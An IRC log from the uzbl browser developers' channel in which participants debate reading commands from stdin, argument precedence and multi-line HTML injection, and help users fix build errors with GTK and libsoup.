11:11 < Dieterbe> i think it's okay for commands coming in through fifo/socket to override the ones set as command line args. because you can only use the fifo/socket after the app has "settled" anyway
11:11 < Dieterbe> the only real problem is config into stdin
11:12 < Dieterbe> we could also rethink if we really want config to be loaded into stdin
11:12 < railk> is there a use-case for config over stdin?
11:12 < railk> i mean, whats the rationale
11:13 < Dieterbe> there was, when we wanted to export the state of a current instance and feed it into childs (eg "open in new window")
11:13 < Dieterbe> but we decided not to do that, and just pass on --config <..>, thereby not passing on the exacty same state (maybe)
11:14 < Dieterbe> in fact, rob| if we decide later we want to take the "export state to feed into child" route again, we can always generate a temporary config into /tmp
11:14 < Dieterbe> another use case = dynamically generated config. but that's probably too far fetched (no one is gonna do that, i think)
11:15 < sscj> how about a --config and --expression switch?. "uzbl --config $conf --expression 'set uri = $url'"
11:16 < rob|> same problem
11:16 < railk> alternatively -config "-" could make uzbl read stdin until EOF before going on with cmdline parsing
11:16 < Dieterbe> railk: that would block the app?
11:17 < rob|> hmm, as i said above we don't always get EOF
11:17 < railk> Dieterbe: if the option is specified... when don't you get the EOF?
11:18 < Dieterbe> as long as no one sends you an eof, you don't get it
11:19 < Dieterbe> when doing uzbl <file that not's really a problem
11:19 < Dieterbe> but it is, when stdin is interactive (eg the user must ^D)
11:21 < rob|> imo the only sane way is to assign a priotity per input channel, sort the received commands into priotity queues per command and apply them in order
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11:22 < sscj> if there was a "set fifo" and a -e switch, you could just do "uzbl -e 'set fifo = $fifo'" and send the config that way
11:23 < Dieterbe> rob|: imho we should just not load config from stdin.  see my thoughts @ 11:13 - 11:14
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11:25 < rob|> Dieterbe, that does not solve it
11:26 < rob|> say i write 'set uri=foo \n set uri = bar \n set uri = baz' in the config file and invoke 'uzbl -c config -u foobar' - what is the expected behaviour?
11:27 < sscj> foobar
11:28 < Dieterbe> rob|: we should first evaluate the cmdline args, then the config synchronously, and when that's done, override the uri with the one set as cmdline arg (eg foobar)
11:29 < rob|> ok, that should work
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11:30 < Dieterbe> and we should not use stdin for setting config flags
11:30 < rob|> we could at least make stdin reading optional (--stdin or just -) and document the caveats
11:30 < Dieterbe> we should not use stdin for any command/action. we should only use stdin to pipe in content to render
11:31 < Dieterbe> rob|: we effectively have no use for command reading through stdin anymore
11:31 < sscj> are there any other program that uses stdin for readling configs?
11:31 < sscj> reading*
11:32 < rob|> sscj: the point is we do not read configs but commands
11:32 < sscj> but there's already a fifo for that
11:33 < rob|> yeah, there is
11:33 < railk> the thing is even if you can only read config from files there's still /dev/stdin or your system's equivalent
11:35 < Dieterbe> railk: what's your point?
11:35 < rob|> sscj: though, the advanatge of stdin over fifos is that you can easily inject commands into uzbl without having to know the fifo filename
11:35 < rob|> which is not obvious in most cases
11:36 < railk> Dieterbe: you can't really expect files to have EOFs either
11:37 < Dieterbe> rob|: where do we still need to be able to inject commands into uzbl without knowing the fifo/socket filename?
11:38 < Dieterbe> railk: we can explain to our users they should pass files to --config that have an EOF, there's not much use doing --config /dev/stdin or whatever
11:38 < rob|> Dieterbe: for any scripts that is not spawned from within uzbl
11:39 < sscj> but if there is a 'set fifo', the spawning script would be able to control it
11:40 < railk> Dieterbe: of course at that point you might just as well tell them they can use --config - or --stdin but must be sure to send an EOF when they're finished
11:40 < sscj> of course, resolving 'set fifo' and 'set fifo_dir' would be another can of worms, I guess
11:41 < Dieterbe> rob|: give me valid, practical use case. something more specific.  couldn't you make your script look for a predefined file? eg /tmp/fifo-main, or let it find the focused instance and the corresponding socket/fifo
11:42 < railk> hm, admittedly if most systems have something like /dev/stdin, special-casing "-" seems like unnecessary effort
11:48 < rob|> Dieterbe: while :; do for i in uzbl.org bbs.archlinux.org freshmeat.net; do echo "set uri = $i"; sleep 5; done; done | uzbl
11:49 < Dieterbe> uhm what do you really want to do here?
11:50 < rob|> refresh an display a list of sites every so often
11:50 < Dieterbe> in the same instance?
11:50 < rob|> yes
11:51 < Dieterbe> uzbl --name pagemonitory && while :; do for i in uzbl.org bbs.archlinux.org freshmeat.net; do uzblctrl -s /tmp/fifo-pagemonitor -c "set uri = $i"; sleep 5; done
11:51 < Dieterbe> something like that
11:51 < rob|> sure, though stdin is easier and the unix way..
11:52 < sscj> wouldn't the unixy way be to consider uzbl a html renderer instead of a browser?
11:53 < Dieterbe> rob|: well, in a perfect way we can use everything for everything. but in the real world, that seems to give some complications.  i think just not using stdin for commands is a good compromise. you can still do what you want, though in a different way, and we get rid of our problems without needing to write more code
11:53 < Dieterbe> rob|: unless you come up with an example where you really HAVE to use stdin..
11:54 < Dieterbe> rob|: s/perfect way/perfect world/
11:54 < rob|> read only filesystem
11:54 < rob|> ;)
11:55 < Dieterbe> rob|: let's just ask the posix guys to have multiple stdins :P
11:55 < rob|> just kidding, though i'd still keep stdin optional
11:55 < Dieterbe> stdin-1, stdin-2, stdin-usr, etc a bit like signals ;)
11:55 < DuClare> There's a stability aspect
11:56 < DuClare> What if the fifo exists already?  Okay, your script can solve that, but it can be annoying.  What if you're trying to write to the fifo before uzbl has created it?
11:57 < DuClare> That can be solved as well, but it's not very fun if you want to use uzbl as a renderer in oneliners
11:59  * rob| seconds that
12:00 < sscj> for i in uzbl.org bbs.archlinux.org; do curl $i | uzbl ; sleep 5 done
12:02 < rob|> btw, webkit allows to inject html into a webview
12:03 < rob|> so something like: (echo "INJECT"; curl foo; echo "END_INJECT") | uzbl
12:03 < rob|> should be possible
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12:52 < rob|> pushed a preliminary solution to html injection
12:52 < rob|> use it like: (echo -n 'set inject_html = '; curl www.uzbl.org|tr -d '\n'; echo) | uzbl
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12:55 < rob|> hmm, doesn't work very well though
12:57 < Dieterbe> what about a flag --background that forks into the bg as soon as the "stuff" is setup (fifo et al)
12:57 < Dieterbe> then we could do without commands into stdin
12:57 < M2tias> Dieterbe: could you update the aur package, please? :o
12:59 < Dieterbe>  DuClare> What if the fifo exists already? <- what does this have to do with reading commands from stdin? if fifo exists already, uzbl has to error out. this is a uzbl-internal aspect
12:59 < Dieterbe> M2tias: how do you mean? the aur packages pull from git
12:59 < M2tias> oh, I didn't know :o
13:00 < rob|> Dieterbe: don't quite underatnd the logic of that flag
13:00 < M2tias> Dieterbe: but updating with yaourt doesn't work since aur doesn't know that it's updated :|
13:00 < Dieterbe> rob|: if you want to write something to the fifo as soon as it exists, you can do: uzbl -name foo --background && echo bar > /tmp/fifo-name
13:01 < Dieterbe> M2tias: the package is not updated. just rebuild it
13:01 < DuClare> Dieterbe, If the fifo exists already and uzbl can't create it and we're NOT reading commands from STDIN, then you can't send the additional commands
13:02 < Dieterbe> huh??? if the fifo exist already uzbl should error out. i mean, not execute anymore, and give an error
13:02 < DuClare> Dieterbe, If you want your oneliner to work, then you have to make it take care of the error
13:03 < Dieterbe> DuClare: no, because '&&' implies: only do it if the previous command exited succesfully
13:03 < DuClare> Dieterbe, && also implies the command must have quit
13:03 < rob|> oh, on another note. webkit does support caret brwosing, not sure wether that interefers with our key grabbing code, though
13:03 < rob|> just saw that on the ML
13:04 < DuClare> Dieterbe, What's the point in sending commands to an instance which is no longer running
13:06 < Dieterbe>  DuClare> Dieterbe, && also implies the command must have quit <-- i think, that if uzbl would fork into the bg, the main process exits (while the other one is in bg), so bash will execute the next step
13:07 < rokuko> with svn webkit from yesterday and git uzbl from today i get an error on make looks like he is not finding some libs (collect2: ld returned 1 exit status) http://dpaste.com/47460/ - can some one give me a hint?
13:08 < DuClare> Dieterbe, Can you preserve stdin through the fork?
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13:09 < Dieterbe> DuClare: yeah, i think it's even default behaviour
13:10 < DuClare> Well, that could work
13:11 < DuClare> How about a command that is terminated not by nl, but by a certain character or a specified number of read bytes?
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13:12 < DuClare> That'd make it possible to do both commands and pages via stdin.. and I think you need some sort of delimiting anyway if multiple pages are to be sent via stdin.
13:12 < rob|> DuClare: that was my proposal. though this might lead into other trouble
13:12 < DuClare> Hmm?
13:13 < rob|> DuClare: like not being able to send commands while a page is being send over stdin/fifo/...
13:13 < rob|> or not being able to use valid commands in html
13:13 < rob|> depneding on how we implement it
13:13 < Dieterbe> i think we are really overcomplicating.  i still like not using stdin for incoming commands anymore
13:14 < Dieterbe> those "problems" you guys seem to have with it could be solved by small tweaks such as forking into bg
13:15 < rob|> Dieterbe: well, show us a implementation. i don't think forking to the bg would help here
13:16 < rob|> in order to avoid such problems i proposed a smtp like protocol, though it didn't seem to be necessary back then
13:16 < Dieterbe> well the implementation would be really simple. take the current code and make it that stdin is not used anymore for catching incoming commands
13:18 < Dieterbe> imho we have no _real_ use case where we _need_ to use stdin for entering commands
13:18 < DuClare> We have no _real_ use case where *anything* woud _need_ to come in via stdin
13:19 < DuClare> But it can be convenient
13:20 < Dieterbe> convenient at the cost of.. what? complicated "protocols" to delimit commands? complicated code just to be able to let --uri override an uri set through stdin?
13:20 < Dieterbe> not worth it imo
13:20 < DuClare> How do relative urls work if you pipe a page using curl?  How do you delimit multiple pages sent via the pipe?
13:21 < DuClare> Why would piping from curl be better than using a command to change the uri?
13:22 < Dieterbe> the very same reason pipes are so useful on the command line for a variety of things
13:22 < Dieterbe> and i guess one could match </html> or something to find the end of the page
13:23 < Dieterbe> i don't understand what the problem with relative urls is
13:23 < DuClare> Dieterbe, How does uzbl know what's the base url?
13:24 < Dieterbe> DuClare: when piping in from stdin, you don't need to. you're not rendering a url after all
13:24 < barrucadu> DuClare: That's what "<base href="..."/>" exists for :)
13:25 < rob|> no, matching for "</html>" is bad practice
13:26 < DuClare> Dieterbe, That severely limits the usefulness of it.  Why make it possible to render pages via stdin if it can't render full pages anyway?  Why is stdin better than making uri be able to load from a file instead?
13:26 < barrucadu> rob|: Why?
13:26 < rob|> because that would make uzbl hang on broken sites
13:26 < DuClare> barrucadu, You need to deal with comments, scripts, ...
13:28 < rob|> for simple html inject_html works pretty nice, though.  echo 'set inject_html = <HTML><BODY><h1>Hello World</h1></BODY></HTML>' | uzbl
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13:31 < Dieterbe> DuClare: why would uzbl not be able to render full pages?
13:31 < DuClare> Dieterbe, Beause it doesn't know the base url and thus can't fetch relative content
13:31 < Dieterbe> rob|: good point. maybe we could use special lines as delimiters when feeding pages into uzbl ('----UZBL START PAGE----\n (page goes here)\n---UZBL END PAGE----')
13:32 < Dieterbe> DuClare: ok. also a good point. what about : --- UZBL START PAGE BASE=http://.....----
13:32 < rob|> DuClare: you can set the base uri, though. webkit_web_view_load_html_string(webview, content, base_uri)
13:33 < DuClare> rob|, Yes.  Do we make a separate command for it perhaps?  Send the base uri via fifo, then send the page via stdin..
13:33 < sscj> curl | uzbl -e 'set base_uri = $url'
13:33 < DuClare> sscj, Works if you want to display one page.   Not if you want rotation.
13:34 < DuClare> If you can display one page only and must specify its base uri using an expression, what's the whole point of it?
13:35 < Dieterbe> DuClare: filtering
13:35 < rob|> there is none, just are there is no point to feed html only via stdin
13:35 < rob|> s/are/as/
13:36 < DuClare> Dieterbe, Weren't we going to add transformers anyway?
13:36 < Dieterbe> sure there is. filtering on command line
13:36 < rob|> sure, though why restrict it to stdin?
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13:37 < rob|> a good protocol would be better than all this hackish approaches
13:40 < rob|> smtp as protocol seems to do a very good job with all forms of content, why not borrow some ideas from it?
13:40 < sscj> actually
13:41 < sscj> if you want to render content from stdin, you could just add to <base href> tag yourself
13:41 < DuClare> So much for the oneliner
13:41 < sscj> make a sed program for it
13:42 < DuClare> You could also wget it to a file and let wget transform uris to absolute, then use a command to load the file
13:42 < sscj> curl | sed -f insert_basehref | uzbl
13:42 < Dieterbe> still the issue of delimiting remains. but imho we only need delimiting for pages, not commands, so simple full-lines delimiters will do
13:44 < rob|> ( echo 'HTML_DATA'; curl foo; echo 'HTML_DATA_END' ) | uzbl
13:44 < rob|> that would be poissble with slight modifications of the current parser
13:46 < rob|> the only problem with this approach, as i stated previously, is that a) uzbl cannot receive commands while HTML data is being sent or b) html data must not contain valid uzbl commands
13:46 < rob|> the former seems to be the way to do it, though
13:48 < rob|> so internally we would capture all html lines to a buffer and send it to the webview as soon as we have received HTML_DATA_END
13:49 < rob|> and reset the parser to "normal command mode" of course
13:50 < rob|> i guess that could be implemented in 20 slocs or so
13:50 < Dieterbe> b) --> that implies you still want to send commands into stdin?
13:51 < rob|> yes, i want every input channel being able to process all supported commands
13:51 < DuClare> I'm with rob| here ;x
13:52 < rob|> imo would be really ugly to have dedicated input channels for certain tasks, that's a flexibility killer
13:53 < Dieterbe> ok, point taken
13:53 < Dieterbe> so how do we solve our original problem?
13:53 < sscj> echo "set mode = render"; curl $url | uzbl
13:53 < Dieterbe> (variables from commandline args having priority over stuff from stdin)
13:54 < sscj> although, guess you have to delimit it somehow. ohwell, nvm
13:54 < Dieterbe> hm, but since stuff in stdin can be entered very "late", it's not just a simple matter of "commandline args having priority over stuff from stdin" anymore
13:54 < Dieterbe> we simply cannot know which has precedence over what
13:55 < Dieterbe> so maybe we should just discourage "set uri = " over stdin
13:55 < rob|> Dieterbe: exactly, that's what i'm trying to say since an hour or so ;)
13:56 < Dieterbe> are you guys ok with discouraging "set uri = " over stdin ?
13:56 < barrucadu> I think the URI should be changed to the value specified by -u just before entering the GTK main loop. Thus, -u has precedence over things entered into stdin immediately, but things entered in later have precedence over that which, I think, would be the expected behaviour
13:56 < rob|> yes, i would just document the problem and stick with it
13:57 < rob|> barrucadu: read the backlog, we can't do that
13:58 < Dieterbe> hmm what was the reason again?
13:58 < Dieterbe> gap in my memory i guess..
13:58 < rob|> well, you just wrote the reason. we can't be sure which was first set uri or -u
13:59 < rob|> *was set first
13:59 < sscj> unrelated, but i really miss "bind <space> = scroll_vert 90%"
14:02 < rob|> sscj: agreed. space, tab, etc. should have symbolic names in bindings
14:04 < rob|> just like the F<n> keys
14:04 < Dieterbe> well DuClare suggested in his mail on the ML to keep our eyes open for "command parsing" libraries we could use
14:04 < Dieterbe> readline is a bit bloated but there are lightweight alternatives
14:04 < rob|> it's not so much the parsing but the need of a good and stable protocol
14:05 < rob|> when that one is defined writing the parser for it shouldn't be a big problem
14:06 < Dieterbe> what's wrong with our current protocol?
14:07 < Dieterbe> (after the merge, that is)
14:07 < rob|> it does not support multiline commands
14:07 < rob|> or multiline data, that is
14:08 < rob|> do we have any other use case for multiline data/commands other send injecting html?
14:08 < Dieterbe> not that i know of (though it may come later)
14:08 < rob|> s/send/than/
14:09 < rob|> grr..
14:09 < barrucadu> rob|: Although we have spawn and script, sh and js could benefit from multiline data - perhaps
14:09 < barrucadu> Though I don't really see much use of it for those
14:11 < rob|> right so we could have these: set mode = <html_mode|sh_mode|js_mode|cmd_mode>   ...  data following ... "\n\n." ends mode and resets to cmd_mode
14:11 < DuClare> rob|, One option would be to escape newlines when sending the command and make inject_js unescape them
14:12 < DuClare> That could work too
14:12 < DuClare> Or a null byte?
14:12 < barrucadu> rob|: Or something like <<EOF ...data... EOF
14:12 < barrucadu> That works in a shell so it'll be familiar and wonrt require people to learn more keywords
14:12 < barrucadu> *won't
14:13 < rob|> DuClare: that could work, yes
14:14 < DuClare> rob|, \n\n is better considering scripts.. adding escapes is bothersome if you just want to pass data
14:14 < rob|> if we go with the commands mode i'd also set a timer and reset to command mode if some period of time has elapsed without receiving the end data/mode command
14:14 < DuClare> But \0 could work in place of \n
14:15 < DuClare> What if the source has multiple newlines?  More likely than a pair of nulls
14:15 < rob|> smtp also uses "\n\n." to denote end of data
14:16 < DuClare> How does it deal with html which has newlines?
14:16 < DuClare> Or any text for that matter
14:17 < rob|> http://tools.ietf.org/html/rfc821
14:17 < barrucadu> DuClare: Not "\n\n", "\n\n.". Note the period
14:17 < DuClare> curl crap | base64 | uzbl :>
14:17 < DuClare> barrucadu, I see it
14:17 < DuClare> It's not relevant to my point
14:18 < DuClare> I doubt I can crap on smtp by writing an email which has two newlines and a period
14:18 < rob|> sorry, "<CRLF>.<CRLF>"
14:18 < railk> DuClare: your client would escape the EOL with = or something like that iirc
14:20 < barrucadu> Attempting to send an email with two newlines and a period in through the gmail servers using claws-mail just killed stumpwm <.>
14:20 < DuClare> b64 would be amazingly simple, in fact.
14:21 < railk> DuClare: so people writing multiline scripts would have to base64-encode them?
14:23 < rob|> section 4.5.2 of rfc821 describes the procedure
14:27 < rob|> so we could just require the user to run his html through a filter that complies with the rules in that section
14:28 < rob|> or even provide such a filter with uzbl.
14:29 < DuClare> railk, Well, you have to do something to ensure the content doesn't interfere with the protocol
14:29 < DuClare> Filter A or filter B, depending on the protocol..
14:29 < rob|> right
14:29 < DuClare> Base64 is simple, and escaping newlines isn't very complicated either
14:30 < rob|> DuClare: the escape approach does look nice as we already have code for it
14:30 < rob|> and it can be easily handled with tr in shell scripts
14:32 < DuClare> rob|, We do?  Well yeah, glib has it.  But my quotation system doesn't transform \n to a newline.  It'd only make sure the n doesn't have a special meaning
14:32 < DuClare> But yep, that'd work
14:33 < rob|> right, so we wouldn't even need command modes with the escape thingy
14:37 < DuClare> Yep.  That'd be nice imho.
14:39 < rob|> so the rational is, no matter how we do it the user would need to filter hist html data anyways. what so you guys think about the escape approach?
14:40 < rob|> the escape thing is nice because it would allow to keep our commands atomic on a per line basis
14:42 < rob|> so un-escaping would be: look for escape char, if followed by \n delete esc char, write to buffer
14:45 < DuClare> My split-quoted shoud be very simple to adapt for that
14:45 < DuClare> should.
14:45 < DuClare> Don't forget that \ must be escaped and unescaped
14:46 < rob|> not if we use a look-ahead
14:47 < rob|> i.e. if \ is not followed by \n we just write it to the buffer
14:48 < DuClare> Uhm
14:48 < DuClare> I just realized we're not thinking the same.  I think.
14:50 < rob|> hmm, i was just thinking of doing the very same the shell does it with "\" and multiple line statements/strings
14:50 < rob|> *doing it
14:50 < DuClare> Yeah
14:50 < DuClare> That works
15:04 < rob|> so anyone interested in actually writing code for this?
15:10 < sscj> would it be possible to send the keycode along "bind foo*"? incase you want to make a completer that triggers on tabs, for instance
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15:27 < rob|> hmm
15:28 < rob|> sscj: sure it would be possible, we just need someone to write it ;)
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15:29 < mihairu> hi guys...i have problem with opening page in new window (for example google reader)...uzbl opens 2 new windows instead of one
15:30 < rob|> mihairu: yeah, known bug
15:30 < mihairu> robl: ok :)
15:30 < rob|> mihairu: apparently nobody cared about fixing it :x
15:31 < mihairu> oh so...:)
15:31 < rob|> patches appreciated, though..
15:31 < mihairu> yeah, maybe i'll look at it
15:32 < rob|> i guess the fix is easy
15:32 < mihairu> after work i'll look at it...maybe :D
15:32 < rob|> ok
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15:49 < sscj> rob|: how do you initiate the webinspector?
15:50 < rob|> right click -> inspect element
15:50 < sscj> ah
15:52 < rokuko> with svn webkit from yesterday and git uzbl from today i get an error on make looks like he is not finding some libs (collect2: ld returned 1 exit status) http://dpaste.com/47460/ - can some one give me a hint?
15:52 < rokuko> or should i ask such stuff on the list?
15:52 < rob|> rokuko: looks more like a gtk issue
15:53 < Phillemann> How do I subscribe to the mailing list?
15:53 < DuClare> Like on any other list
15:53 < DuClare> Enter your email and a password
15:53 < DuClare> And take action when you receive the confirmation mail
15:54 < Phillemann> Ah, just saw the mail address, not the registration form ;)
15:54 < rokuko> rob|: well i tried this on slackware 12.2 so i have gtk2
15:54 < DuClare> rob|, Pehaps it's too old?
15:54 < DuClare> Perhaps.
15:54 < rob|> rokuko: are your gtk libs in a unsual place?
15:54 < rob|> *an unusual
15:54 < rokuko> more or less vanilla slackware - so no
15:55 < rob|> hmm, strange. gtk2 should be enough
15:57 < duwanis> rokuko: that looks like a gtkmm function, do you have gtkmm installed?
15:58 < rokuko> hm, probably not
15:58 < rokuko> it is not listed as dep ;-)
15:59 < rob|> gtkmm?
15:59 < rob|> no..
16:01 < rokuko> i don't need gtkmm?
16:01  * duwanis could be wrong
16:01 < duwanis> I'm just googling around for that function name.
16:01 < rob|> rokuko: no, gtkmm are the C++ bindings. uzbl does not need those
16:02 < rokuko> ok
16:02 < rob|> gtk docu also clearly indicates that those functions are available in stable gtk2 (http://library.gnome.org/devel/gtk/stable/GtkAdjustment.html)
16:02 < rob|> so it must be a library issue on your site
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16:04 < rokuko> i have gtk+2 version 2.12.12
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16:07 < rob|> rokuko: grep adjustment_get_upper /usr/include/gtk-2.0/gtk/*.h
16:07 < rokuko> grep -r 'adjustment_get_upper' /usr/include/gtk-2.0/ gives me nothing
16:08 < rob|> strange
16:08 < rob|> /usr/include/gtk-2.0/gtk/gtkadjustment.h:gdouble    gtk_adjustment_get_upper             (GtkAdjustment   *adjustment);
16:08 < rob|> the output here
16:09 < rokuko> hm
16:10 < rokuko> i have /usr/include/gtk-2.0/gtk/gtkadjustment.h but no _get_upper inside
16:10 < rob|> gtk2-2.16.1 on my machine
16:11 < rokuko> so 2.12 is not enough?
16:11 < rob|> apparently
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16:14 < rokuko> even slackware current has gtk+2-2.14.7 ...
16:14 < rob|> that should be ok imho, not sure when those functions where introduced
16:22 < rokuko> thanks so far i will consider upgrading ;-)
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16:29 < rob|> sure thing, would you mind commenting the body of those functions and check wether we've got any other gtk conflicts?
16:30 < rob|> version conflicts, that is
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16:40 < shikamaru> hi there
16:40 < rob|> hey shikamaru
16:40 < shikamaru> lo rob| :)
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16:42 < rob|> i'm interested in how many users of non-tiled WMs we attract. so anybody using a traditional WM please shout :)
16:43 < DuClare> M2tias?
16:43 < shikamaru> well, I'm using awesome3 :)
16:43 < shikamaru> so I'm not part of them :)
16:43 < shikamaru> (and former ion3 user ^^)
16:44 < rob|> shikamaru: yeah, you seem to belog to the majority in here ;)
16:44 < rob|> *belong
16:44 < shikamaru> :)
16:45 < rob|> Dieterbe/barrucadu: we need a means of colleting polls on the site :p
16:45 < shikamaru> just heard of your project some days ago while I was asking if there was any plan to port vimperator to webkit :)
16:45 < shikamaru> I'm using arora atm
16:47 < rob|> shikamaru: webkit-gtk is in a relatively early stage unfortunatelly, so we already outbid it's limits in certain fields
16:48 < rob|> *its
16:48 < rob|> man, i'm not able to type today..
16:48 < Phillemann> Hmmm, where exactly?
16:48 < rob|> exporting the DOM for example
16:48 < shikamaru> doh :/
16:49 < shikamaru> what about QtWebkit?
16:50 < rob|> i guess that one is even worse, besides needing C++ of course
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16:50 < DuClare> I had the impression qtwebkit is more developed..
16:51 < DuClare> Maybe I haven't looked into it enough.
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16:54 < Dieterbe> i'm not seeing that lalalala
16:54 < shikamaru> :)
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17:06 < shikamaru> reading your wiki I find exactly what I want
17:06 < shikamaru> Leverage the power of utilities such as grep, awk, dmenu, zenity, wget, gnupg (password file) etc.
17:06 < shikamaru> I wish some browser could be interfaced with wget as a download manager
17:07 < Dieterbe> your quest to find the holy grail has ended :p
17:07 < Dieterbe> one problem. the holy grail is not done  yet :P
17:08 < shikamaru> well, I wonder how people couldn't have thought about it earlier...
17:09 < Phillemann> Earlier there was not gtk-webkit.
17:09 < Phillemann> s/not/no/
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17:09 < shikamaru> well, midori's been out for quite some time now
17:09 < DuClare> A line from my config: set download_handler = sh 'cd ~/.uzbl/download && wget -U "uzbl (downloads handled by ISOHUNT SUCKS)" $8'
17:10 < Dieterbe> barrucadu: hey you also use claws-mail? it rocks :)
17:10 < barrucadu> Dieterbe: It does :)
17:10  * barrucadu returns to watching Dawn of the Dead
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17:11 < DuClare> Editing mail outside your primary editor is.. uh.  Odd.
17:14 < Phillemann> You can specify an external editor in claws-mail.
17:14 < Phillemann> DuClare: Which mail format do you use with mutt?
17:14 < Phillemann> maildir, mbox, imap?
17:15 < DuClare> My spool is mbox, and it gets sorted to maildirs
17:15 < DuClare> Fdm fetches to the mbox via imap
17:16 < Phillemann> Problem is, both mbox and maildir are pretty flawed
17:16 < DuClare> I might switch to Gnus when I have the time to learn it
17:21 < DuClare> Already tried it once, but didn't have the time to port all my hooks and such
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17:58 < M2tias> DuClare?
17:58 < DuClare> M2tias, I take it you don't use a tiling window manager?
17:58 < M2tias> nope
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18:21 < barrucadu> @peak
18:21 < dev_null> barrucadu: rutkowski set a record of 52 people in #uzbl on May 25, 2009 at 04:21 PM CET. You'll need 1 more person to break the peak.
18:21 < barrucadu> ^^
18:21 < rutkowski> \o/
18:21 < rutkowski> :)
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18:35 < darrob> hi, i want to build uzbl on debian squeeze. apparently there is no recent enough version of libwebkit in the repos. i just want to make sure that i have to get the webkit code from the webkit.org svn repo.
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18:50 < DuClare> http://www.gameproducer.net/2008/11/11/the-7-worst-verbs-programmers-use-in-function-calls/
18:52 < M2tias> :D
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19:20 < Dieterbe> DuClare: fyi i did not ignore your "what needs to be done" mail. i'm typing a reply ;)
19:20 < DuClare> Dieterbe, Great. :)
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20:15 < neldoreth> hey, i just thought about a way of use "tabs" with dmenu and lsw, but is there an easy way to get specific windows back to the top - i guess this depends on the window manager that is used
20:17 < sscj> how do you manipulate the LOAD_PROGRESSBAR?
20:25 < DuClare> You don't
20:25 < DuClare> You just display it
20:25 < DuClare> Well you can set the characters it uses
20:26 < sscj> alrite
20:26 < DuClare> The sb system is inflexible
20:26 < sscj> so what if I want to display the a download progress bar?
20:27 < DuClare> You can set status_message
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21:21 < Masca> Morning
21:22 < rob|> heya
21:22 < barrucadu> hi
21:23 < Masca> rob|: in the backlog you said something about "open in new window" and use different variable for --uri and config default uri?
21:27 < rob|> hmm, yes..
21:27 < Masca> Something like this? http://github.com/salinasv/uzbl/commit/4a9369ba67f4bac8fffe2249e338e3f5afe2203f
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21:29 < rob|> hehe, nice. you tackled the problem from a different angle :)
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21:32 < Masca> what is exactly what you were thinking?
21:33 < Masca> I just read the backlog really quickly.
21:34 < rob|> hehe, i won't run away. take your time :P
21:36 < rob|> s/i/it/
21:36  * rob| writes misleading sentences again..
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22:03 < Masca> Ok that was 5+ chat hours. =P
22:04 < Masca> Well, My patch is kinda work around. =P
22:07 < Masca> Do you want it or I better revert it before mergin my experimental with upstream?
22:07 < rob|> i'd keep it
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22:19 < Dieterbe>  neldoreth> hey, i just thought about a way of use "tabs" with dmenu and lsw <-- what's lsw?
22:20 < rob|> lists x windows
22:21 < rob|> http://tools.suckless.org/lsw
22:21 < Dieterbe> oh. i see
22:31 < rob|> any special reason you didn't merge recently?
22:33 < Dieterbe> no. lack of time basically
22:33 < rob|> ah, ok
22:33 < Dieterbe> i was busy with real life stuff all evening . maybe tomorrow
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23:32 < mipfi> Where can i find, libwebkit 1.1.4 or higher and libsoup ?
23:41 < Masca> In your distro's repo?
23:44 < sscj> http://lmgtfy.com/?q=webkit+nightly
23:44 < M2tias> ^_^
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23:48 < neldoreth> http://www.youtube.com/watch?v=F6Rovi9QSDk i just have to post this link :> this game was so awesome
23:52 < entgod> ha, I used to have a 90 MHz pentium machine dedicated to playing that game :)
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00:02 < neldoreth> (: just thought about a lot of games i played a long time ago
00:02 < DuClare> Seems like I got ddossed
00:02 < DuClare> :<
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00:26 < M2tias> DuClare: O_o
00:27 < DuClare> M2tias, Some script kiddies decided to take over a channel by ddossing everybody out of there
00:27 < M2tias> lol
00:28 < DuClare> It's 128, bedtime.
00:29 < DuClare> Good night o/
00:29 < M2tias> night
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03:40 < kaykay> is this available on windows too?
03:40 < jbms> I'm trying to build uzbl on Gentoo -- I am using the latest webkit-gtk package in gentoo, but I get the build error of WebKitDownload undeclared, among others...
03:40 < jbms> Do I perhaps need a newer version of Webkit?
03:41 < jbms> kaykay: I don't believe it works on Windows or will without some effort
03:41 < jbms> kaykay: It may be possible to build it in cygwin
03:41 < rson> kaykay: i doubt any of the devs have even attempted a build on windows
03:41 < kaykay> ok
03:43 < kaykay> do you think its possible to port it with : http://www.qtsoftware.com/products/library/modular-class-library#info_webkit
03:43 < jbms> rson: Do you know what the libwebkit-1.1.4 is supposed to mean?
03:43 < rson> any reason for the insane spacing in the default config file?
03:52 < rson> jbms: i'm honestly not positive.  I'm using libwebkit 1.1.7 per my package manager
03:56 < jbms> thanks --- I see that I actually just needed to update the package repository
03:57 < rson> np, sorry i lost my net for a min there, i was mid answer when it died :)
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04:04 < Masca> kaykay: the problem could come from the fact that uzbl is designed to work on *nix. It uses sockets and pipes.
04:04 < kaykay> ok
04:05 < kaykay> I was toying with packaging my web application as a desktop application.
04:05 < Masca> btw I guess you really want to switch to *nix. ;-)
04:06 < kaykay> I am in *nix, its for the customers
04:09 < Masca> ohh.
04:10 < Masca> I guess uzbl would be a nice optio for web->desktop app.
04:10 < rson> ... i was just about to ask the status of the cookie script, then i saw the last commit message.  doh.
04:10 < rson> kaykay: technically, you could take the base webkit example and use that most likely
04:10 < rson> assuming it works on windows
04:11 < Masca> Sure, that's what uzbl did at the very begining.
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05:17 < Swift> Hello all. I just had a problem compiling: "uzbl.c:54:26: error: libsoup/soup.h: No such file or directory" but the library exists at "/usr/include/libsoup-2.4/libsoup/soup.h".
05:17 < Swift> Anyone know what the problem is?
05:25 < jbms> modify the Makefile to include libsoup-2.4 among the packages included in the two calls to pkg-config
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05:50 < Swift> Thanks jbms, I'll give that a try.
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06:15 < bobpaul> So, I'm trying to compile from "commit ae5ccd70b017", but it seems I'm missing something. Here's the output of make: http://pastebin.com/d7d05b496
06:25 < octavious> bobpaul: you need libsoup!
06:29 < bobpaul> yes, that was the conclusion I came to.. libsoup2.2-dev and libsoup2.4-dev are both installed... but I can't seem to figure out how to get them included properly
06:31 < Swift> bobpaul, I just had the same problem. Add it to the Makefile so make will find it.
06:32 < octavious> add libsoup-2.4 to both pkg-config lines
06:33 < bobpaul> ahh, yes... that works now, thanks!
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07:41 < rob|> morning.
07:52 < psychon> morning rob|
07:55 < rob|> echo -e 'set autoload_images=0\nset disable_scripts=1\nset disable_plugins=1' | uzbl    <--  nice, fast text browsing
08:12 < Swift> Just got uzbl compiled. Looking forward to a playing around with this!
08:16 < rob|> hmm, webinspector is nice. especially the ressource timing graph: http://omploader.org/vMXFnMA
08:27 < Masca> nice.. uzbl just frezzed with your link.
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09:10 < neldoreth> did proxy_url changed? by using it it is segfaulting at the moment
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09:15 < neldoreth> nevermind
